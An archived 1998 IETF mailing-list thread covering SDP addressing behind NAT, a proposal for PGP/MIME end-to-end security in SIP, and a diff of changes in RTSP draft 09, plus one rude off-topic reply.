PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Thu Jan 29 10:46:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA23732
	for confctrl-outgoing; Thu, 29 Jan 1998 10:46:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA23726
	for <confctrl@zephyr.isi.edu>; Thu, 29 Jan 1998 10:46:43 -0800 (PST)
Received: from ultrix.ramapo.edu ([192.107.108.3])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA29659;
	Thu, 29 Jan 1998 10:46:21 -0800 (PST)
Received: by ultrix.ramapo.edu (5.65/DEC-Ultrix/4.3)
	id AA04744; Thu, 29 Jan 1998 13:49:13 -0500
Date: Thu, 29 Jan 1998 13:49:12 -0500 (EST)
From: aCPPier <tfrangie@ultrix.ramapo.edu>
To: "Michael F. Speer" <speer@valathar.eng.sun.com>
Cc: Mark Handley <mjh@ISI.EDU>, confctrl@ISI.EDU
Subject: Re: SDP: comment from IESG
In-Reply-To: <Roam.SIMC.2.0.6.885926102.17252.speer@valathar >
Message-Id: <Pine.GUL.3.96.980129134808.4192C-100000@ultrix.ramapo.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

you no understand english???
you c wat is wat next
spam mode is one everyone.  capish?

On Tue, 27 Jan 1998, Michael F. Speer wrote:

> Mark:
> 
> I prefer option #1, but with the appropriate text where option #1 might
> break because of NAT translation.
> 
> Michael
> 
> > 
> > I just got the following comment back from a member of the IESG.  I
> > think the point is valid.  The IP address dates from when SDP was only
> > used for session announcements.  Today SDP is used in SIP and RTSP,
> > and so encountering a NAT is quite likely.  
> > 
> > Two questions:
> > 
> > 1. Would anyone object to the text being changed to permit either an
> > address or a fully qualified domain name?  
> > 
> > 2. Does anyone think that we should change the spec to permit only
> > fully qualified domain names?
> > 
> > Personally I prefer 1. Please let me know your opinion ASAP.
> > 
> > Cheers,
> > 	Mark
> > 
> > ------- Forwarded Message
> > 
> > Sorry, but I have to object to the IP address appearing in the o= field.
> > You can make a case that in the c= line that is the IP address taht will
> > appear in the packet, and people need it to find the session.  It is
> > somewhat NAT unfriendly, but I can live with it.
> > The o= line requires an IP address as a uniqueness generator.  It does not
> > permit a  DNS name.  It says it must be the "globally unique address where
> > the advertisement originates".  What if that does not exist?  I could
> > easily imagine organizing a session from behind a firewall, and then
> > arranging the for the right things to happen later.
> > 
> > No, I do not like firewalls/NATs.  But they are there, and stuff
> > should think about them.  Another way of thinking about this objection
> > is that protocols should not directly encode IP addresses unless they
> > need them.  The c= line needs it.  The o= line doesn't.
> > 
> > ------- End of Forwarded Message
> > 
> 
> 
> 



                             BOU GHALEB
                             -_-____-_-

E-mail: tfrangie@ramapo.edu
WEB   : http://ultrix.ramapo.edu/~tfrangie

~     ~     ~     ~     ~     ~     ~     ~     ~     ~     ~     ~     ~     ~


From confctrl-owner  Sat Jan 31 11:45:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA01048
	for confctrl-outgoing; Sat, 31 Jan 1998 11:45:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA01043
	for <confctrl@zephyr.isi.edu>; Sat, 31 Jan 1998 11:45:25 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20634;
	Sat, 31 Jan 1998 11:45:19 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA18731; Sat, 31 Jan 1998 14:45:01 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA01014; Sat, 31 Jan 1998 14:45:01 -0500 (EST)
Message-ID: <34D37F3D.ECC6A128@cs.columbia.edu>
Date: Sat, 31 Jan 1998 14:45:01 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>, confctrl@ISI.EDU
Subject: SIP security
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

One of the last remaining items for progressing "basic SIP" is
end-to-end security.

Some observations:

(1) We should re-use existing security implementations as much as
possible. SIP server and client writers shouldn't have to write
encryption code or deal with key management. Thus, I'd like to be able
to call up PGP and MIME implementation and just use the return values.
Makes it far more likely that anybody actually implements security.

(2) Proxies need to be able to read certain SIP header fields, including
the possibly sensitive From and To fields. To protect these "on the
wire", hop-by-hop encryption is necessary, but only TCP provides that in
the form of SSL/TLS. We can either rely on IPsec or define our own UDP
"security envelope" for this. One possibility is to define a SEALED
method; following the conventions of RFC 2015 (and the S/MIME spec):

SEALED <name of public key owner at next hop> SIP/2.0
Content-Type: multipart/encrypted; boundary=foo;
  protocol="application/pgp-encrypted"

--foo
Content-Type: application/pgp-encrypted

Version: 1

--foo
Content-Type: application/octet-stream

     -----BEGIN PGP MESSAGE-----
     Version: 2.6.2

     hIwDY32hYGCE8MkBA/wOu7d45aUxF4Q0RKJprD3v5Z9K1YcRJ2fve87lMlDlx4Oj
     eW4GDdBfLbJE7VUpp13N19GL8e/AqbyyjHH4aS0YoTk10QQ9nnRvjY8nZL3MPXSZ
     g9VGQxFeGqzykzmykU6A26MSMexR4ApeeON6xzZWfo+0yOqAq6lb46wsvldZ96YA
     AABH78hyX7YX4uT1tNCWEIIBoqqvCeIMpp7UQ2IzBrXg6GtukS8NxbukLeamqVW3
     1yt21DYOjuLzcMNe/JNsD9vDVCvOOG3OCi8=
     =zzaA
     -----END PGP MESSAGE-----

--foo--

The PGP message would be the complete SIP message, encrypted with the
public key of the proxy or next hop. Similar techniques would apply to
signed and encrypted + signed messages.

(3) Unlike PGP-over-MIME and S/MIME, we don't have to use "ASCII armor",
as we have an 8-bit clear channel. Doesn't change anything major, except
possibly an additional parameter on the Content-Type. Given argument
(1), we should, I believe, allow ASCII armor.

(4) Not all proxies can do encryption and we don't want to trust them
completely, so end-to-end encryption is still useful. One possible way
would be

     INVITE j.doe@acme.com SIP/2.0
     From: Michael Elkins <elkins@aero.org>
     To: J.Doe <joe@acme.com>
     Mime-Version: 1.0
     Call-ID: 458686
     Content-Type: multipart/encrypted; boundary=foo;
        protocol="application/pgp-encrypted"

     --foo
     Content-Type: application/pgp-encrypted

     Version: 1

     --foo
     Content-Type: application/octet-stream

     -----BEGIN PGP MESSAGE-----
     Version: 2.6.2

     hIwDY32hYGCE8MkBA/wOu7d45aUxF4Q0RKJprD3v5Z9K1YcRJ2fve87lMlDlx4Oj
     eW4GDdBfLbJE7VUpp13N19GL8e/AqbyyjHH4aS0YoTk10QQ9nnRvjY8nZL3MPXSZ
     g9VGQxFeGqzykzmykU6A26MSMexR4ApeeON6xzZWfo+0yOqAq6lb46wsvldZ96YA
     AABH78hyX7YX4uT1tNCWEIIBoqqvCeIMpp7UQ2IzBrXg6GtukS8NxbukLeamqVW3
     1yt21DYOjuLzcMNe/JNsD9vDVCvOOG3OCi8=
     =zzaA
     -----END PGP MESSAGE-----

     --foo--

With an address size of 35, the typical unencrypted part is 160 bytes
long. Two choices: either we concatenate the unencrypted and encrypted
parts to form the "real" SIP message (with encrypted headers overriding
unencrytped ones) or we ditch the unencrypted parts. The latter has the
advantage that it avoids easy additions by proxies such as

     INVITE j.doe@acme.com SIP/2.0
     From: Michael Elkins <elkins@aero.org>
     To: J.Doe <joe@acme.com>
     Subject: You are a complete idiot
     Mime-Version: 1.0
     Call-ID: 458686
     Content-Type: multipart/encrypted; boundary=foo;
        protocol="application/pgp-encrypted"

in the hope that the encrypted/signed version doesn't have a Subject
field to override this. (This could be particularly nasty with
call-control directives. We would have to somehow convey to the user
that only part of the message was authenticated and then ask which parts
to trust and act on. I'd much rather have a configuration that says
"don't answer unauthenticated calls".)

PGP has the advantage that it compresses text before encryption, so that
the overall penalty for encryption is probably still small or maybe even
a gain. Thus, I'd suggest that the receiver only look at the
encrypted/signed parts and ditch the rest.

(5) We could develop our own Encryption and Authentication headers to
put the PGP/S-MIME related data, but given available practice, I'm not
convinced that we want to be in the business of tracking every security
proposal. The MIME multipart stuff is a bit hairy, but not that painful.

(6) It might be possible to hide Via fields, but I'm having a hard time
convincing myself that they reveal anything more interesting than the
To/From fields, which all proxies need to see. Hiding Via fields gets
rather messy if done securely.

Comments are appreciated.

Henning
-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 732 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Feb  2 11:05:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA19784
	for confctrl-outgoing; Mon, 2 Feb 1998 11:05:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA19779
	for <confctrl@zephyr.isi.edu>; Mon, 2 Feb 1998 11:05:24 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA00676
	for <confctrl@isi.edu>; Mon, 2 Feb 1998 11:05:22 -0800 (PST)
Received: from robla (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA18053
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 2 Feb 1998 11:05:20 -0800
Message-Id: <3.0.3.32.19980202110515.017d4670@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 02 Feb 1998 11:05:15 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: draft-ietf-mmusic-rtsp-09.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yet another cleanup draft, based on comments from ADs and implementors (mostly implementors).  Latest versions are below:

RTSP (Text):
http://www.real.com/rtsp/draft-ietf-mmusic-rtsp-09.txt
RTSP (Postscript):
http://www.cs.columbia.edu/~hgs/rtsp/draft/draft-ietf-mmusic-rtsp-09.ps

Since draft 08, the following changes were made:

*  Note at the end of the "RTSP States" section (1.7) about session 
id creation and usage
*  Note at the end of the "SETUP" section (10.4) about session id 
creation
*  Clarified PAUSE behavior with queued PLAYs.
*  Made Session: examples compliant with the spec
*  Changed RTSP behavior over TCP: SHOULD NOT retransmit -> MUST NOT
*  Changed RTP-Info rtptime header so that rtptime corresponds to npt
   (these should be the same 99% of the time)
*  Clarified begin and end times of range requests

Exhaustive change list is attached.  Let us know ASAP if you have any problems with the changes.

Rob
-----
*** draft-08.txt        Fri Jan 30 21:37:02 1998
--- draft-09.txt        Fri Jan 30 23:04:33 1998
***************
*** 1,7 ****
  Internet Engineering Task Force                                   MMUSIC WG
  Internet Draft                          H. Schulzrinne, A. Rao, R. Lanphier
! draft-ietf-mmusic-rtsp-08.txt             Columbia U./Netscape/RealNetworks
! January 15, 1998                                     Expires: July 15, 1998
  
                    Real Time Streaming Protocol (RTSP)
  
--- 1,7 ----
  Internet Engineering Task Force                                   MMUSIC WG
  Internet Draft                          H. Schulzrinne, A. Rao, R. Lanphier
! draft-ietf-mmusic-rtsp-09.txt             Columbia U./Netscape/RealNetworks
! February 2, 1998                                    Expires: August 2, 1998
  
                    Real Time Streaming Protocol (RTSP)
  
***************
*** 42,48 ****
  
  Copyright Notice:
  ##REMOVEME
!    Copyright (C) The Internet Society (1997).  All Rights Reserved.
  
  Table of Contents
  
--- 42,48 ----
  
  Copyright Notice:
  ##REMOVEME
!    Copyright (C) The Internet Society (1998).  All Rights Reserved.
  
  Table of Contents
  
***************
*** 499,504 ****
--- 499,505 ----
  
     Since not all media servers have the same functionality, media servers
     by necessity will support different sets of requests. For example:
+ 
       * A server may only be capable of playback thus has no need to
         support the RECORD request.
       * A server may not be capable of seeking (absolute positioning) if
***************
*** 612,617 ****
--- 613,623 ----
            Frees resources associated with the stream. The RTSP session
            ceases to exist on the server.
  
+           RTSP methods that contribute to state use the Session header
+           field (Section 12.37) to identify the RTSP session whose state
+           is being manipulated. The server generates session identifiers
+           in response to SETUP requests (Section 10.4).
+ 
  1.8 Relationship with Other Protocols
  
     RTSP has some overlap in functionality with HTTP. It also may interact
***************
*** 884,890 ****
  4 RTSP Message
  
       RTSP is a text-based protocol and uses the ISO 10646 character set
!    in UTF-8 encoding (RFC XXXX [21]). Lines are terminated by CRLF, but
     receivers should be prepared to also interpret CR and LF by themselves
     as line terminators.
  
--- 890,896 ----
  4 RTSP Message
  
       RTSP is a text-based protocol and uses the ISO 10646 character set
!    in UTF-8 encoding (RFC 2279 [21]). Lines are terminated by CRLF, but
     receivers should be prepared to also interpret CR and LF by themselves
     as line terminators.
  
***************
*** 900,906 ****
       This is also the encoding used for RTCP. ISO 8859-1 translates
       directly into Unicode with a high-order octet of zero. ISO 8859-1
       characters with the most-significant bit set are represented as
!      1100001x 10xxxxxx. (See RFC XXXX [21])
  
     RTSP messages can be carried over any lower-layer transport protocol
     that is 8-bit clean.
--- 906,912 ----
       This is also the encoding used for RTCP. ISO 8859-1 translates
       directly into Unicode with a high-order octet of zero. ISO 8859-1
       characters with the most-significant bit set are represented as
!      1100001x 10xxxxxx. (See RFC 2279 [21])
  
     RTSP messages can be carried over any lower-layer transport protocol
     that is 8-bit clean.
***************
*** 1028,1034 ****
       needed for backward-compatibility with HTTP/1.0 servers, a
       consideration that does not apply to RTSP.
  
!    The asterisk "*" in the Request-URI means that the request does not
     apply to a particular resource, but to the server itself, and is only
     allowed when the method used does not necessarily apply to a resource.
     One example would be:
--- 1034,1040 ----
       needed for backward-compatibility with HTTP/1.0 servers, a
       consideration that does not apply to RTSP.
  
!    The asterisk ``*'' in the Request-URI means that the request does not
     apply to a particular resource, but to the server itself, and is only
     allowed when the method used does not necessarily apply to a resource.
     One example would be:
***************
*** 1309,1317 ****
     initial round-trip value of 500 ms. An implementation MAY cache the
     last RTT measurement as the initial value for future connections.
  
!    If a reliable transport protocol is used to carry RTSP, requests
!    SHOULD NOT be retransmitted; the RTSP application SHOULD instead rely
!    on the underlying transport to provide reliability.
  
       If both the underlying reliable transport such as TCP and the RTSP
       application retransmit requests, it is possible that each packet
--- 1315,1323 ----
     initial round-trip value of 500 ms. An implementation MAY cache the
     last RTT measurement as the initial value for future connections.
  
!    If a reliable transport protocol is used to carry RTSP, requests MUST
!    NOT be retransmitted; the RTSP application MUST instead rely on the
!    underlying transport to provide reliability.
  
       If both the underlying reliable transport such as TCP and the RTSP
       application retransmit requests, it is possible that each packet
***************
*** 1334,1340 ****
     (Section 12.17), which is incremented by one for each distinct request
     transmitted. If a request is repeated because of lack of
     acknowledgement, the request MUST carry the original sequence number
!    (i.e. sequence number is not incremented).
  
     Systems implementing RTSP MUST support carrying RTSP over TCP and MAY
     support UDP. The default port for the RTSP server is 554 for both UDP
--- 1340,1346 ----
     (Section 12.17), which is incremented by one for each distinct request
     transmitted. If a request is repeated because of lack of
     acknowledgement, the request MUST carry the original sequence number
!    (i.e., the sequence number is not incremented).
  
     Systems implementing RTSP MUST support carrying RTSP over TCP and MAY
     support UDP. The default port for the RTSP server is 554 for both UDP
***************
*** 1490,1496 ****
       C->S: ANNOUNCE rtsp://server.example.com/fizzle/foo RTSP/1.0
             CSeq: 312
             Date: 23 Jan 1997 15:35:06 GMT
!            Session: 4711
             Content-Type: application/sdp
             Content-Length: 332
  
--- 1496,1502 ----
       C->S: ANNOUNCE rtsp://server.example.com/fizzle/foo RTSP/1.0
             CSeq: 312
             Date: 23 Jan 1997 15:35:06 GMT
!            Session: 47112344
             Content-Type: application/sdp
             Content-Length: 332
  
***************
*** 1537,1546 ****
      S->C: RTSP/1.0 200 OK
            CSeq: 302
            Date: 23 Jan 1997 15:35:06 GMT
!           Session: 4711
            Transport: RTP/AVP;unicast;
              client_port=4588-4589;server_port=6256-6257
  
  10.5 PLAY
  
       The PLAY method tells the server to start sending data via the
--- 1543,1558 ----
      S->C: RTSP/1.0 200 OK
            CSeq: 302
            Date: 23 Jan 1997 15:35:06 GMT
!           Session: 47112344
            Transport: RTP/AVP;unicast;
              client_port=4588-4589;server_port=6256-6257
  
+    The server generates session identifiers in response to SETUP
+    requests. If a SETUP request to a server includes a session
+    identifier, the server MUST bundle this setup request into the
+    existing session or return error ``459 Aggregate Operation Not
+    Allowed'' (see Section 11.3.10).
+ 
  10.5 PLAY
  
       The PLAY method tells the server to start sending data via the
***************
*** 1564,1577 ****
--- 1576,1592 ----
  
       C->S: PLAY rtsp://audio.example.com/audio RTSP/1.0
             CSeq: 835
+            Session: 12345678
             Range: npt=10-15
  
       C->S: PLAY rtsp://audio.example.com/audio RTSP/1.0
             CSeq: 836
+            Session: 12345678
             Range: npt=20-25
  
       C->S: PLAY rtsp://audio.example.com/audio RTSP/1.0
             CSeq: 837
+            Session: 12345678
             Range: npt=30-
  
     See the description of the PAUSE request for further examples.
***************
*** 1604,1609 ****
--- 1619,1625 ----
  
       C->S: PLAY rtsp://audio.example.com/twister.en RTSP/1.0
             CSeq: 833
+            Session: 12345678
             Range: smpte=0:10:20-;time=19970123T153600Z
  
       S->C: RTSP/1.0 200 OK
***************
*** 1616,1621 ****
--- 1632,1638 ----
  
       C->S: PLAY rtsp://audio.example.com/meeting.en RTSP/1.0
             CSeq: 835
+            Session: 12345678
             Range: clock=19961108T142300Z-19961108T143520Z
  
       S->C: RTSP/1.0 200 OK
***************
*** 1642,1662 ****
  
       C->S: PAUSE rtsp://example.com/fizzle/foo RTSP/1.0
             CSeq: 834
!            Session: 1234
  
       S->C: RTSP/1.0 200 OK
             CSeq: 834
             Date: 23 Jan 1997 15:35:06 GMT
  
     The PAUSE request may contain a Range header specifying when the
!    stream or presentation is to be halted. The header must contain
!    exactly one value rather than a time range. The normal play time for
!    the stream is set to that value. The pause request becomes effective
!    the first time the server is encountering the time point specified in
!    any of the currently pending PLAY requests. If the Range header
!    specifies a time outside any currently pending PLAY requests, the
!    error ``457 Invalid Range'' is returned. If this header is missing,
!    stream delivery is interrupted immediately on receipt of the message.
  
     For example, if the server has play requests for ranges 10 to 15 and
     20 to 29 pending and then receives a pause request for NPT 21, it
--- 1659,1687 ----
  
       C->S: PAUSE rtsp://example.com/fizzle/foo RTSP/1.0
             CSeq: 834
!            Session: 12345678
  
       S->C: RTSP/1.0 200 OK
             CSeq: 834
             Date: 23 Jan 1997 15:35:06 GMT
  
     The PAUSE request may contain a Range header specifying when the
!    stream or presentation is to be halted. We refer to this point as the
!    ``pause point''. The header must contain exactly one value rather than
!    a time range. The normal play time for the stream is set to the pause
!    point. The pause request becomes effective the first time the server
!    is encountering the time point specified in any of the currently
!    pending PLAY requests. If the Range header specifies a time outside
!    any currently pending PLAY requests, the error ``457 Invalid Range''
!    is returned. If a media unit (such as an audio or video frame) starts
!    presentation at exactly the pause point, it is not played or recorded.
!    If the Range header is missing, stream delivery is interrupted
!    immediately on receipt of the message and the pause point is set to
!    the current normal play time.
! 
!    A PAUSE request discards all queued PLAY requests. However, the pause
!    point in the media stream MUST be maintained. A subsequent PLAY
!    request without Range header resumes from the pause point.
  
     For example, if the server has play requests for ranges 10 to 15 and
     20 to 29 pending and then receives a pause request for NPT 21, it
***************
*** 1691,1697 ****
     Example:
       C->S: TEARDOWN rtsp://example.com/fizzle/foo RTSP/1.0
             CSeq: 892
!            Session: 1234
       S->C: RTSP/1.0 200 OK
             CSeq: 892
  
--- 1716,1722 ----
     Example:
       C->S: TEARDOWN rtsp://example.com/fizzle/foo RTSP/1.0
             CSeq: 892
!            Session: 12345678
       S->C: RTSP/1.0 200 OK
             CSeq: 892
  
***************
*** 1707,1713 ****
       S->C: GET_PARAMETER rtsp://example.com/fizzle/foo RTSP/1.0
             CSeq: 431
             Content-Type: text/parameters
!            Session: 1234
             Content-Length: 15
  
             packets_received
--- 1732,1738 ----
       S->C: GET_PARAMETER rtsp://example.com/fizzle/foo RTSP/1.0
             CSeq: 431
             Content-Type: text/parameters
!            Session: 12345678
             Content-Length: 15
  
             packets_received
***************
*** 1812,1818 ****
  
       C->S: RECORD rtsp://example.com/meeting/audio.en RTSP/1.0
             CSeq: 954
!            Session: 1234
             Conference: 128.16.64.19/32492374
  
  10.12 Embedded (Interleaved) Binary Data
--- 1837,1843 ----
  
       C->S: RECORD rtsp://example.com/meeting/audio.en RTSP/1.0
             CSeq: 954
!            Session: 12345678
             Conference: 128.16.64.19/32492374
  
  10.12 Embedded (Interleaved) Binary Data
***************
*** 1855,1869 ****
             CSeq: 2
             Date: 05 Jun 1997 18:57:18 GMT
             Transport: RTP/AVP/TCP;interleaved=0-1
!            Session: 12345
  
       C->S: PLAY rtsp://foo.com/bar.file RTSP/1.0
             CSeq: 3
!            Session: 12345
  
       S->C: RTSP/1.0 200 OK
             CSeq: 3
!            Session: 12345
             Date: 05 Jun 1997 18:59:15 GMT
             RTP-Info: url=rtsp://foo.com/bar.file;
               seq=232433;rtptime=972948234
--- 1880,1894 ----
             CSeq: 2
             Date: 05 Jun 1997 18:57:18 GMT
             Transport: RTP/AVP/TCP;interleaved=0-1
!            Session: 12345678
  
       C->S: PLAY rtsp://foo.com/bar.file RTSP/1.0
             CSeq: 3
!            Session: 12345678
  
       S->C: RTSP/1.0 200 OK
             CSeq: 3
!            Session: 12345678
             Date: 05 Jun 1997 18:59:15 GMT
             RTP-Info: url=rtsp://foo.com/bar.file;
               seq=232433;rtptime=972948234
***************
*** 1953,1959 ****
  
    11.3.10 459 Aggregate Operation Not Allowed
  
!    The requested method may not be applied on the URL in question since
     it is an aggregate (presentation) URL. The method may be applied on a
     stream URL.
  
--- 1978,1984 ----
  
    11.3.10 459 Aggregate Operation Not Allowed
  
!      The requested method may not be applied on the URL in question since
     it is an aggregate (presentation) URL. The method may be applied on a
     stream URL.
  
***************
*** 2410,2417 ****
     is not understood, the recipient should return ``501 Not
     Implemented''.
  
!    Range            = "Range" ":" 1#ranges-specifier 
!                        [ ";" "time" "=" utc-time ]
     ranges-specifier = npt-range | utc-range | smpte-range
  
     Example:
--- 2435,2453 ----
     is not understood, the recipient should return ``501 Not
     Implemented''.
  
!    Ranges are half-open intervals, including the lower point, but
!    excluding the upper point. In other words, a range of a-b starts
!    exactly at time a, but stops just before b. Only the start time of a
!    media unit such as a video or audio frame is relevant. As an example,
!    assume that video frames are generated every 40 ms. A range of
!    10.0-10.1 would include a video frame starting at 10.0 or later time
!    and would include a video frame starting at 10.08, even though it
!    lasted beyond the interval. A range of 10.0-10.08, on the other hand,
!    would exclude the frame at 10.08.
! 
! 
!    Range            = "Range" ":" 1\#ranges-specifier 
!                      [ ";" "time" "=" utc-time ]
     ranges-specifier = npt-range | utc-range | smpte-range
  
     Example:
***************
*** 2476,2482 ****
     Proxies and other intermediary devices SHOULD ignore features that are
     not understood in this field. If a particular extension requires that
     intermediate devices support it, the extension should be tagged in the
!    Proxy-Require field instead (see Section 3.4).
  
  12.33 RTP-Info
  
--- 2512,2518 ----
     Proxies and other intermediary devices SHOULD ignore features that are
     not understood in this field. If a particular extension requires that
     intermediate devices support it, the extension should be tagged in the
!    Proxy-Require field instead (see Section 12.27).
  
  12.33 RTP-Info
  
***************
*** 2495,2503 ****
            originated after the seek.
  
     rtptime:
!           Indicates the RTP timestamp of the first packet of the stream.
!           The client uses this value to calculate the mapping of RTP time
!           to NPT.
  
       A mapping from RTP timestamps to NTP timestamps (wall clock) is
       available via RTCP. However, this information is not sufficient to
--- 2531,2544 ----
            originated after the seek.
  
     rtptime:
!           Indicates the RTP timestamp corresponding to the time value in
!           the Range response header. (Note: For aggregrate control, a
!           particular stream may not actually generate a packet for the
!           Range time value returned or implied. Thus, there is no
!           guarantee that the packet with the sequence number indicated by
!           seq actually has the timestamp indicated by rtptime.) The
!           client uses this value to calculate the mapping of RTP time to
!           NPT.
  
       A mapping from RTP timestamps to NTP timestamps (wall clock) is
       available via RTCP. However, this information is not sufficient to
***************
*** 2901,2907 ****
  
       A->C: RTSP/1.0 200 OK
             CSeq: 1
!            Session: 1234
             Transport: RTP/AVP/UDP;unicast;client_port=3056-3057;
                        server_port=5000-5001
  
--- 2942,2948 ----
  
       A->C: RTSP/1.0 200 OK
             CSeq: 1
!            Session: 12345678
             Transport: RTP/AVP/UDP;unicast;client_port=3056-3057;
                        server_port=5000-5001
  
***************
*** 2911,2954 ****
  
       V->C: RTSP/1.0 200 OK
             CSeq: 1
!            Session: 1235
             Transport: RTP/AVP/UDP;unicast;client_port=3058-3059;
                        server_port=5002-5003
  
       C->V: PLAY rtsp://video.example.com/twister/video RTSP/1.0
             CSeq: 2
!            Session: 1235
             Range: smpte=0:10:00-
  
       V->C: RTSP/1.0 200 OK
             CSeq: 2
!            Session: 1235
             Range: smpte=0:10:00-0:20:00
             RTP-Info: url=rtsp://video.example.com/twister/video;
               seq=12312232;rtptime=78712811
  
       C->A: PLAY rtsp://audio.example.com/twister/audio.en RTSP/1.0
             CSeq: 2
!            Session: 1234
             Range: smpte=0:10:00-
  
       A->C: RTSP/1.0 200 OK
             CSeq: 2
!            Session: 1234
             Range: smpte=0:10:00-0:20:00
             RTP-Info: url=rtsp://audio.example.com/twister/audio.en;
               seq=876655;rtptime=1032181
  
       C->A: TEARDOWN rtsp://audio.example.com/twister/audio.en RTSP/1.0
             CSeq: 3
!            Session: 1234
  
       A->C: RTSP/1.0 200 OK
             CSeq: 3
  
       C->V: TEARDOWN rtsp://video.example.com/twister/video RTSP/1.0
             CSeq: 3
!            Session: 1235
  
       V->C: RTSP/1.0 200 OK
             CSeq: 3
--- 2952,2995 ----
  
       V->C: RTSP/1.0 200 OK
             CSeq: 1
!            Session: 23456789
             Transport: RTP/AVP/UDP;unicast;client_port=3058-3059;
                        server_port=5002-5003
  
       C->V: PLAY rtsp://video.example.com/twister/video RTSP/1.0
             CSeq: 2
!            Session: 23456789
             Range: smpte=0:10:00-
  
       V->C: RTSP/1.0 200 OK
             CSeq: 2
!            Session: 23456789
             Range: smpte=0:10:00-0:20:00
             RTP-Info: url=rtsp://video.example.com/twister/video;
               seq=12312232;rtptime=78712811
  
       C->A: PLAY rtsp://audio.example.com/twister/audio.en RTSP/1.0
             CSeq: 2
!            Session: 12345678
             Range: smpte=0:10:00-
  
       A->C: RTSP/1.0 200 OK
             CSeq: 2
!            Session: 12345678
             Range: smpte=0:10:00-0:20:00
             RTP-Info: url=rtsp://audio.example.com/twister/audio.en;
               seq=876655;rtptime=1032181
  
       C->A: TEARDOWN rtsp://audio.example.com/twister/audio.en RTSP/1.0
             CSeq: 3
!            Session: 12345678
  
       A->C: RTSP/1.0 200 OK
             CSeq: 3
  
       C->V: TEARDOWN rtsp://video.example.com/twister/video RTSP/1.0
             CSeq: 3
!            Session: 23456789
  
       V->C: RTSP/1.0 200 OK
             CSeq: 3
***************
*** 3015,3058 ****
             CSeq: 2
             Transport: RTP/AVP;unicast;client_port=8000-8001;
                        server_port=9000-9001
!            Session: 1234
  
       C->M: SETUP rtsp://foo/twister/video RTSP/1.0
             CSeq: 3
             Transport: RTP/AVP;unicast;client_port=8002-8003
!            Session: 1234
  
       M->C: RTSP/1.0 200 OK
             CSeq: 3
             Transport: RTP/AVP;unicast;client_port=8002-8003;
                        server_port=9004-9005
!            Session: 1234
  
       C->M: PLAY rtsp://foo/twister RTSP/1.0
             CSeq: 4
             Range: npt=0-
!            Session: 1234
  
       M->C: RTSP/1.0 200 OK
             CSeq: 4
!            Session: 1234
             RTP-Info: url=rtsp://foo/twister/video;
               seq=9810092;rtptime=3450012
  
       C->M: PAUSE rtsp://foo/twister/video RTSP/1.0
             CSeq: 5
!            Session: 1234
  
       M->C: RTSP/1.0 460 Only aggregate operation allowed
             CSeq: 5
  
       C->M: PAUSE rtsp://foo/twister RTSP/1.0
             CSeq: 6
!            Session: 1234
  
       M->C: RTSP/1.0 200 OK
             CSeq: 6
!            Session: 1234
  
       C->M: SETUP rtsp://foo/twister RTSP/1.0
             CSeq: 7
--- 3056,3099 ----
             CSeq: 2
             Transport: RTP/AVP;unicast;client_port=8000-8001;
                        server_port=9000-9001
!            Session: 12345678
  
       C->M: SETUP rtsp://foo/twister/video RTSP/1.0
             CSeq: 3
             Transport: RTP/AVP;unicast;client_port=8002-8003
!            Session: 12345678
  
       M->C: RTSP/1.0 200 OK
             CSeq: 3
             Transport: RTP/AVP;unicast;client_port=8002-8003;
                        server_port=9004-9005
!            Session: 12345678
  
       C->M: PLAY rtsp://foo/twister RTSP/1.0
             CSeq: 4
             Range: npt=0-
!            Session: 12345678
  
       M->C: RTSP/1.0 200 OK
             CSeq: 4
!            Session: 12345678
             RTP-Info: url=rtsp://foo/twister/video;
               seq=9810092;rtptime=3450012
  
       C->M: PAUSE rtsp://foo/twister/video RTSP/1.0
             CSeq: 5
!            Session: 12345678
  
       M->C: RTSP/1.0 460 Only aggregate operation allowed
             CSeq: 5
  
